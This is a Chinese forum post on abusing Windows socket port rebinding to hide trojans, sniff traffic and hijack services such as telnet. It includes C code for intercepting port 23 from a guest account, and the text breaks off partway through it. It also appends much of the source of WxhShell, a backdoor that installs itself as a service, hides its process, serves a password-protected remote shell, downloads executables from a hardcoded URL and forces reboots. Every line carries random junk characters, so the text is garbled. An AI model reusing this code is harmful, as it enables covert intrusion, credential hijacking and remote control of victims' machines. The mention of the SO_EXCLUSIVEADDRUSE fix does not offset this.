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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !W9:)5^X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q*3keB;X  
Jt@lH  
  saddr.sin_family = AF_INET; 5$D"uAp<V  
5;UIz@BJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qul#)HI  
I}3F'}JV<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %BP>,E/w  
&|~7`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?YLq iAA  
bIAE?D  
  这意味着什么?意味着可以进行如下的攻击: c{BAQZVc  
q!eE~O;A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 jk03 Hd  
89g a+#7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JfIXv  
MK=oGzK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0lg$zi x(  
H.@$#D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ~\jP+[>M'  
V0>X2&.A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >8>!wi9U  
]VRa4ZB{u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Qs6Vu)U=  
5M0Q'"`F:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L(VFzPkY%  
bOFzq>k_  
  #include f\]?,  
  #include <gkE,e9  
  #include K)7T]z`  
  #include    l< f9$l^U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   8(L$a1#5W  
  int main() >.d/@3 '  
  { o$sD9xx  
  WORD wVersionRequested; %o0b~R  
  DWORD ret; si]VM_w6  
  WSADATA wsaData; Fo.Y6/}  
  BOOL val; %8FfP5#  
  SOCKADDR_IN saddr; =9GA LoGL  
  SOCKADDR_IN scaddr; Q&eyqk   
  int err; :o>=^N  
  SOCKET s; E EDFyZ  
  SOCKET sc; F@i >l{C  
  int caddsize;  $3^M-w  
  HANDLE mt; \yr9j$  
  DWORD tid;   Lt't   
  wVersionRequested = MAKEWORD( 2, 2 ); N}?|ik  
  err = WSAStartup( wVersionRequested, &wsaData );  GfE>?mG  
  if ( err != 0 ) { -G~]e6:zD  
  printf("error!WSAStartup failed!\n"); |Ns4^2  
  return -1; pCs3-&rI3  
  } Fv pU]  
  saddr.sin_family = AF_INET; ^l!SIu  
     3%kUj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4>*=q*<V5E  
ez ,.-@O  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hCcI]#S&  
  saddr.sin_port = htons(23); /iU<\+ H  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) TTz=*t+D  
  { w}xA@JgQ%  
  printf("error!socket failed!\n"); @7twe;07r  
  return -1; -tj#BEC[H(  
  } `Nx@MPo  
  val = TRUE; Z7a@$n3h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 >^s2$@J?p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) WHdMP  
  { !9;m~T7.  
  printf("error!setsockopt failed!\n"); # )y`Zz{h  
  return -1; &Hb%Q! ^Kb  
  } "lh4Vg\7n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  J=` 8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NN*L3yx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jIubJQR~  
<fvu) f  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Nw*<e ]uD  
  { >n"0>[:4  
  ret=GetLastError(); *7xcwj eP  
  printf("error!bind failed!\n"); oy^-?+   
  return -1; $hhXsu=  
  } XV]N}~h o`  
  listen(s,2); sgfqIe1  
  while(1) z &EDW 5I  
  { &=g3J4$z  
  caddsize = sizeof(scaddr); :#YC_ id  
  //接受连接请求 W%L'nR~w$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); tvI<Why\p  
  if(sc!=INVALID_SOCKET) k&$ov  
  { s2O()u-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ip-X r|Bq  
  if(mt==NULL) |a{; <a  
  { Nny*C`uDF  
  printf("Thread Creat Failed!\n"); ;ElCWs->\  
  break; W=+n |1  
  } @xWWN  
  } Bb/if:XS  
  CloseHandle(mt); ?'> .>  
  } rN}pi@  
  closesocket(s); & kC  
  WSACleanup(); /~NX<Ye&  
  return 0; A6z ,6v6  
  }    d$$5&a  
  DWORD WINAPI ClientThread(LPVOID lpParam) q} e#L6cM  
  { >(RkoExO/  
  SOCKET ss = (SOCKET)lpParam; _ $F=A  
  SOCKET sc; w+)${|N?  
  unsigned char buf[4096]; <:9 ts@B  
  SOCKADDR_IN saddr; .LDZqWr-  
  long num; //7YtK6  
  DWORD val; h4` 8C]  
  DWORD ret;  S_P&Fv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <=.6Z*x+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <2pp6je\0s  
  saddr.sin_family = AF_INET; 6Z_V,LD9L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a|t~&\@  
  saddr.sin_port = htons(23); ~B;}jI]d[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PuN L%D  
  { X:W\EeH  
  printf("error!socket failed!\n"); ;J W ]b]  
  return -1; Hu|Tj<S  
  } vb>F)X?b_  
  val = 100; Ae>+Fcv  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) poQ_r <I  
  { ^#R`Uptib  
  ret = GetLastError(); +f/ I>9G  
  return -1; b}qfOgd5  
  } ~J].~^[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #*iUZo  
  { \IL)~5d  
  ret = GetLastError(); |4@cX<d.  
  return -1; _Raf7W  
  } hz:7W8  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KrGl}|  
  { wpZ"B+oK!  
  printf("error!socket connect failed!\n"); 1M`E.Ztw*  
  closesocket(sc); Ch"wp/[  
  closesocket(ss); 5;)^o3X>  
  return -1; UT3Fi@  
  } 8eB,$;i  
  while(1) kkl'D!z2g  
  { JBpV'_"]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $mJv\;t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .z#eYn% d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }; '@'   
  num = recv(ss,buf,4096,0); B:"D)/\  
  if(num>0) q1rj!7  
  send(sc,buf,num,0); T1Py6Q,-  
  else if(num==0) 9Q9{>d#"  
  break; ("a@V8M`$F  
  num = recv(sc,buf,4096,0); T_*inPf  
  if(num>0) N@|<3R!N*e  
  send(ss,buf,num,0); [<XYU,{R  
  else if(num==0) 'l'3&.{Yfk  
  break; xNIrmqm5]  
  } A+l(ew5Lw$  
  closesocket(ss); T,!EL +o4  
  closesocket(sc); FJ0I&FyWs  
  return 0 ; Jr5S8 c|"  
  } EDnNS  
z6`0Uv~  
-E}X`?WhD  
========================================================== V?EX`2S  
mu\1hKq;B  
下边附上一个代码,,WXhSHELL UwUHB~<oE  
Zn9u&!T&  
========================================================== gKb,Vrt  
h7Uj "qH  
#include "stdafx.h" ?s2-iuMPd  
T<*)Cdid  
#include <stdio.h> 94B%_  
#include <string.h> i:YX_+n  
#include <windows.h> 5t%8y!s  
#include <winsock2.h> Fip 5vrD  
#include <winsvc.h> ^SpQtW118  
#include <urlmon.h> 1m5l((d  
6w<rSUd'  
#pragma comment (lib, "Ws2_32.lib") WaB0?jI  
#pragma comment (lib, "urlmon.lib") 6xDk3   
1'f_C<.0  
#define MAX_USER   100 // 最大客户端连接数 |:C0_`M9  
#define BUF_SOCK   200 // sock buffer T`e`nQ0nn  
#define KEY_BUFF   255 // 输入 buffer 9n(68|^$  
v? ."`,e  
#define REBOOT     0   // 重启 RG'iWA,9m`  
#define SHUTDOWN   1   // 关机 CR$wzjP j  
1o&zA<+NY  
#define DEF_PORT   5000 // 监听端口 xN*k&!1&  
$.D )Llcq  
#define REG_LEN     16   // 注册表键长度 qWH^/o  
#define SVC_LEN     80   // NT服务名长度 ,yC..aI  
K<^p~'f4P  
// 从dll定义API g>t1rZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bll[E}E|3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *)RKU),3nL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >N#Nz 0|(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {@2+oOuYfN  
B.y}S  
// wxhshell配置信息 6:(s8e  
struct WSCFG { o9}\vN0F  
  int ws_port;         // 监听端口 {}s/p9F4  
  char ws_passstr[REG_LEN]; // 口令 A l?%[-u  
  int ws_autoins;       // 安装标记, 1=yes 0=no %?[gBf[y  
  char ws_regname[REG_LEN]; // 注册表键名 c!E{fSP  
  char ws_svcname[REG_LEN]; // 服务名 *+rfRH]a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 AO5&Y.A#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |tAkv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )p>Cf_[.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v]M:HzP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;U3:1hn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8gavcsVE[  
0U7Gl9~  
}; [~8U],?1  
zg ,=A?  
// default Wxhshell configuration "SN*hzs"]`  
struct WSCFG wscfg={DEF_PORT, AO8 #l YP?  
    "xuhuanlingzhe", c>$d!IKCL  
    1, ?1L<VL=b  
    "Wxhshell", _GkLspSaU  
    "Wxhshell", }K?b2 6`  
            "WxhShell Service", ;t*SG*Vi  
    "Wrsky Windows CmdShell Service", Gy \ ]j  
    "Please Input Your Password: ",  +rv##Z  
  1, }<~(9_+  
  "http://www.wrsky.com/wxhshell.exe", <%YW/k"o  
  "Wxhshell.exe" `<g]p-=":  
    }; :m `D   
t*= nI $  
// 消息定义模块 2OUx@Vj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !-)!UQ~|8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U@q5`4-!8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I\TSVJk^Xi  
char *msg_ws_ext="\n\rExit."; "m{i`<,  
char *msg_ws_end="\n\rQuit."; :h(RS ;  
char *msg_ws_boot="\n\rReboot..."; i[[.1MnS  
char *msg_ws_poff="\n\rShutdown..."; (nO2+@ !  
char *msg_ws_down="\n\rSave to "; ; =n}61  
ho$}#o  
char *msg_ws_err="\n\rErr!"; qh.F}9o  
char *msg_ws_ok="\n\rOK!"; 'o)Y!VYnJF  
1?BLL;[a8  
char ExeFile[MAX_PATH]; c1E{J <pZ  
int nUser = 0; *f 7rLM*  
HANDLE handles[MAX_USER]; 5Xr})%L  
int OsIsNt; .#~!w!T  
8XYxyOl  
SERVICE_STATUS       serviceStatus; "*HM8\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 693"Pg8b  
2->Lz  
// 函数声明 8 SU0q9X.  
int Install(void); 0uD3a-J  
int Uninstall(void); 'Y @yW3K  
int DownloadFile(char *sURL, SOCKET wsh); |= cc>]  
int Boot(int flag); X'b3CS4  
void HideProc(void); q6pHL  
int GetOsVer(void); 8KJ`+"<=@  
int Wxhshell(SOCKET wsl); lD0a<L 3  
void TalkWithClient(void *cs); !D F~]&  
int CmdShell(SOCKET sock); 6fw7\u  
int StartFromService(void); C!:Lk,Z  
int StartWxhshell(LPSTR lpCmdLine); =COQv=GT  
qv(3qY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d-b<_k{p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :rM2G@{  
K6-)l isf  
// 数据结构和表定义 0 \ U*  
SERVICE_TABLE_ENTRY DispatchTable[] = %Mj,\J!  
{ aAe`o2Xs  
{wscfg.ws_svcname, NTServiceMain}, <.Zh{"$qo  
{NULL, NULL} OK v2..8  
}; J-/w{T8:  
9{4oz<U  
// 自我安装 8x- 19#  
int Install(void) /fUdb=!Z  
{ 3|!3R'g/ >  
  char svExeFile[MAX_PATH]; EC5 = 2w<  
  HKEY key; XY{N"S8  
  strcpy(svExeFile,ExeFile); e|:\Ps`8  
]d[e  
// 如果是win9x系统,修改注册表设为自启动 lusUmFm'*  
if(!OsIsNt) { Pk;/4jt4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $}vzBuWHwN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j^#p#`m  
  RegCloseKey(key); md<^x(h"<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _IdW5G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `uMc.:5\  
  RegCloseKey(key); Q9 AvNj>X  
  return 0; ilQ}{p6I  
    } g%Tokl  
  } S`YT"|~  
}  I!?Xq  
else { wbJBGT{sm  
`Y.~eE  
// 如果是NT以上系统,安装为系统服务  &lU\9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q#AIN`H  
if (schSCManager!=0) 9]Ue%%vM  
{ h STcL:b   
  SC_HANDLE schService = CreateService ;o'r@4^&$R  
  ( CyLwCS{V\  
  schSCManager, d+G%\qpzQ  
  wscfg.ws_svcname, @:RoYvk$  
  wscfg.ws_svcdisp, Dqo#+_v  
  SERVICE_ALL_ACCESS, X+sKG5nS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m5 sW68  
  SERVICE_AUTO_START,  ?;v\wx  
  SERVICE_ERROR_NORMAL, ?o.d FKUe  
  svExeFile, N$e mS  
  NULL, %\,9S`0  
  NULL, _BA; H+M  
  NULL, LI@BB:)[  
  NULL, #8M?y*<I  
  NULL  :QP1!  
  ); ~}j+~  
  if (schService!=0) )EB+(c~E  
  { vu@.;-2E%  
  CloseServiceHandle(schService); 'fl.&"/r  
  CloseServiceHandle(schSCManager); {H(l"KuL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .xwskzJ3  
  strcat(svExeFile,wscfg.ws_svcname); 7'e sJ)2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E,tdn#_|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OnE%D|Tq=  
  RegCloseKey(key); q++\< \2  
  return 0; MG=8`J-`  
    } 5PZ!ZO&  
  } 0sU*3r?  
  CloseServiceHandle(schSCManager); <$s sU{5  
} ?R)dx uj  
} x5MS#c!7  
czIAx1R9  
return 1; [m{sl(Q  
} %m dtVQ@  
J;Z2<x/H  
// 自我卸载 G\ F>*  
int Uninstall(void) r!f UMDS  
{ g/f6N z  
  HKEY key; XxMZU(5  
TaD;_)(  
if(!OsIsNt) { 7^#f)Vp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pD({"A.x9z  
  RegDeleteValue(key,wscfg.ws_regname); MhCU; !  
  RegCloseKey(key); 9MfU{4:;I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yIn$ApSGY  
  RegDeleteValue(key,wscfg.ws_regname); ? -:2f#bC  
  RegCloseKey(key); 11"r FZ  
  return 0; q 0F6MAXj  
  } @I-gs(  
} AvrvBz[  
} .e0)@}Jv8>  
else { bKmwXDv'  
b9X*2pnWJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aR6F%7gvz  
if (schSCManager!=0) ^D+^~>f  
{ B%uY/Mwz$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k*)sz  
  if (schService!=0) YhV<.2^k  
  { "g5{NjimY  
  if(DeleteService(schService)!=0) { 131(0nl)=I  
  CloseServiceHandle(schService); C^L xuUW  
  CloseServiceHandle(schSCManager); Q*T 'tkp  
  return 0; <skqq+  
  } ;x\oY6:  
  CloseServiceHandle(schService); :Q"|%#P  
  } R6(:l; W  
  CloseServiceHandle(schSCManager); hm73Zy  
} RV  V`  
} i:aW .QZ.  
v5'`iO0o  
return 1; G*+^b'7  
} <9ucpV  
k2v:F  
// 从指定url下载文件 \fTQNF  
int DownloadFile(char *sURL, SOCKET wsh) T8A(W  
{ 3:nBl?G<  
  HRESULT hr;  <EU R:  
char seps[]= "/"; w1"+HJd  
char *token; A/<u>cCW  
char *file; ]7Vg9&1`  
char myURL[MAX_PATH]; ;9OhK71}  
char myFILE[MAX_PATH]; TC/c5:)]  
x ']'ODs  
strcpy(myURL,sURL); )  FR7t  
  token=strtok(myURL,seps); ]w6Q?%'9  
  while(token!=NULL) -sQ[f18  
  { *"w hup[  
    file=token; 4l  ZK@3  
  token=strtok(NULL,seps); GA gTy  
  } * $f`ouJl  
;B=aK"\  
GetCurrentDirectory(MAX_PATH,myFILE); ia'z9  
strcat(myFILE, "\\"); Q"qI'*Kgt  
strcat(myFILE, file);  viAAb  
  send(wsh,myFILE,strlen(myFILE),0); l{Df{1b.  
send(wsh,"...",3,0); L_!ShE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oVy{~D=  
  if(hr==S_OK) FoK2h!_  
return 0; _F%`7j  
else ;Z{D@g+  
return 1; ElQ?|HsQ6p  
7v%c.  
} \_1a#|97e  
WSHPh hM  
// 系统电源模块 %BGg?&  
int Boot(int flag) v,ssv{gU  
{ *7Q6b 4~"  
  HANDLE hToken; EB*sd S  
  TOKEN_PRIVILEGES tkp; iwJ_~   
2HFn\kjj.s  
  if(OsIsNt) { 1'<C-[1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bx#i?=*W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4MS<t FH)  
    tkp.PrivilegeCount = 1; C")genMH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )cJ>&g4]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vt#;j;liG  
if(flag==REBOOT) { ;yJ:W8U]+;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o]oiJvOr  
  return 0; &+2l#3}  
} ,_3hbT8Q  
else { tz@MZs09  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1.!U{>$  
  return 0; !B3TLe h  
} R(~wSL*R>  
  } H\S)a FY[  
  else { lDYgt UKG  
if(flag==REBOOT) { [7v|bd  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5^Qa8yA>7  
  return 0; !y _{mE?V(  
} _HUbE /  
else { C[^V\?3ly:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /IpCo  
  return 0; ;>?h/tS6  
} Ki;SONSV~|  
} -x//@8"   
92DM1~ *  
return 1; ss)x fG  
} f4f2xe7\Q  
S!b18|o"  
// win9x进程隐藏模块 s/D)X=P1  
void HideProc(void) WBE>0L  
{ C{}_Rb'x  
@V*dF|# /  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q\6(_U#Tl  
  if ( hKernel != NULL ) D`LBv,n  
  { B3#G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hk~/W}sI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7<yc:}9nx  
    FreeLibrary(hKernel); j<<d A[X  
  } \]9)%3I  
Tz]R}DKB&  
return; Vx_33";S\  
} nYyhQX~]B  
kTvM,<  
// 获取操作系统版本 /5ZX6YkeH  
int GetOsVer(void) fW-C`x  
{ 11=$] K>  
  OSVERSIONINFO winfo; 'X?xn@?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jo`ZuN{  
  GetVersionEx(&winfo); _VrY7Mz:r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PXb$]HV  
  return 1; c5YPV"X  
  else Q7s@,c!m_  
  return 0; Lzq/^&sc(  
} II\&)_S.4  
=c[tHf  
// 客户端句柄模块 Y9+_MxC"  
int Wxhshell(SOCKET wsl) S0,\{j  
{ HxG8 'G  
  SOCKET wsh; R?xb1yc7_  
  struct sockaddr_in client; "7B}hZ^)W  
  DWORD myID; ?5C'9 V  
@UD:zUT)F  
  while(nUser<MAX_USER) ~r--dU  
{ W: ]FYC  
  int nSize=sizeof(client); xVm-4gB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _;1{feR_  
  if(wsh==INVALID_SOCKET) return 1; d?2V2`6  
Y %JQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V'vR(Wx  
if(handles[nUser]==0) AcH-TIgM/  
  closesocket(wsh); ;5Sdx5`_  
else un{ZysmtB6  
  nUser++; m@4Dz|  
  } 6\4-I^=B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \|;\  
/at7 H!  
  return 0; tb3V qFx  
} y0* rY  
d!,t_jM0  
// 关闭 socket U.7fMc#  
void CloseIt(SOCKET wsh) O `}EiyV  
{ O*EV~ {K  
closesocket(wsh); /A=w`[<  
nUser--; *%j$i_  
ExitThread(0); Y=Vbs x  
} % Y^J''  
oUv26t~  
// 客户端请求句柄 u!_l/'\  
void TalkWithClient(void *cs) $]v}X},,  
{ ^J'_CA  
/ ;]5X  
  SOCKET wsh=(SOCKET)cs; ht3.e[%'b  
  char pwd[SVC_LEN]; (`P\nnb  
  char cmd[KEY_BUFF]; lPTx] =G  
char chr[1]; GtA`0B  
int i,j; h!EA;2yGKa  
tq3Wga!5  
  while (nUser < MAX_USER) { }r,\0Wm  
E[H  
if(wscfg.ws_passstr) { FKa";f"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X\|!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tg\bpLk0=  
  //ZeroMemory(pwd,KEY_BUFF); YDt+1Kw}D  
      i=0; OrY[  
  while(i<SVC_LEN) { ^Co-!jM  
Zi!Ta"}8  
  // 设置超时 r* *zjv>  
  fd_set FdRead; M^FY6TT4O  
  struct timeval TimeOut; c`;\sW-_W  
  FD_ZERO(&FdRead); zzqJeIS  
  FD_SET(wsh,&FdRead); Uzu6>yT  
  TimeOut.tv_sec=8; [M?2axOC  
  TimeOut.tv_usec=0; HgI!q<)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {1W:@6tl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \/A.j|by,>  
4=zs&   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tK#R`AQ  
  pwd=chr[0]; K5""%O+  
  if(chr[0]==0xd || chr[0]==0xa) { :{lwz#9V  
  pwd=0; c'2d+*[  
  break; rqdwQ  
  } \@LTXH.  
  i++; kB\{1;  
    } E~'mxx~i  
x(_[D08/TT  
  // 如果是非法用户,关闭 socket K =g</@L6R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8.E"[QktZ  
} gYpMwC{*d  
Ui{%q @  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v3tJtb^'!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7N.b-}$(  
>DqF>w.1  
while(1) { :6^7l/p  
?$r`T]>`2  
  ZeroMemory(cmd,KEY_BUFF); bz>X~   
 {_rfhz  
      // 自动支持客户端 telnet标准   $6hPTc<C  
  j=0; =YO ]m<  
  while(j<KEY_BUFF) { 5j%G7.S\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6 SSDc/  
  cmd[j]=chr[0]; f8 d 3ZK  
  if(chr[0]==0xa || chr[0]==0xd) { AOf4y&B>q  
  cmd[j]=0; 6*OL.~WE  
  break; NkE0S`Xf  
  } wT1s;2%  
  j++; k9|5TLXq?  
    } ]I*c:(qwu  
`?Rq44=  
  // 下载文件 U$rMZk  
  if(strstr(cmd,"http://")) { .R9Z$Kbq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e|~MJu+1  
  if(DownloadFile(cmd,wsh)) XR5KJl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2iAC_"n  
  else 5E:$\z;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5of3&  
  } zM0NRERi  
  else { I<SgKva;c  
k$EVr([  
    switch(cmd[0]) { K|& f5w  
  Z6jEj9?O  
  // 帮助 Mf}M/Fh  
  case '?': { wBPo{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ITu19WG  
    break; YFKE>+  
  } 9 _d2u#  
  // 安装 }x8!{Y#cF  
  case 'i': { 1+o]+Jz|  
    if(Install()) hy;VvAH 5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~MpikBf  
    else ;"3B,Yj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,pNx(a  
    break; 5pO|^G j1  
    } X1L@ G  
  // 卸载 K %^n.  
  case 'r': { BHXi g~d  
    if(Uninstall()) OWd'z1Yl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )P$(]{  
    else 3} A$+PX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); / )0hsQs  
    break; w =^.ICyb@  
    } U ZZJtQt  
  // 显示 wxhshell 所在路径 n|`3d~9$&  
  case 'p': { n ]ikc|  
    char svExeFile[MAX_PATH]; XtF m5\U  
    strcpy(svExeFile,"\n\r"); GK?ual1  
      strcat(svExeFile,ExeFile); HpwMm^  
        send(wsh,svExeFile,strlen(svExeFile),0); V\V /2u5-  
    break; [ oWkd_dK  
    } Bqx5N"  
  // 重启 GQ_KYS{  
  case 'b': { MvVpp;bd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); AeJ ;g  
    if(Boot(REBOOT)) voWH.[n^_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 49$P  
    else { <LX\s*M)  
    closesocket(wsh); O*yxOb*  
    ExitThread(0); M5xJ_yjG  
    } Qm%F]nyy  
    break; `-NK:;^  
    } GW2\YU^{  
  // 关机 yMs!6c*  
  case 'd': { rk=D5E7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^xo<$zn  
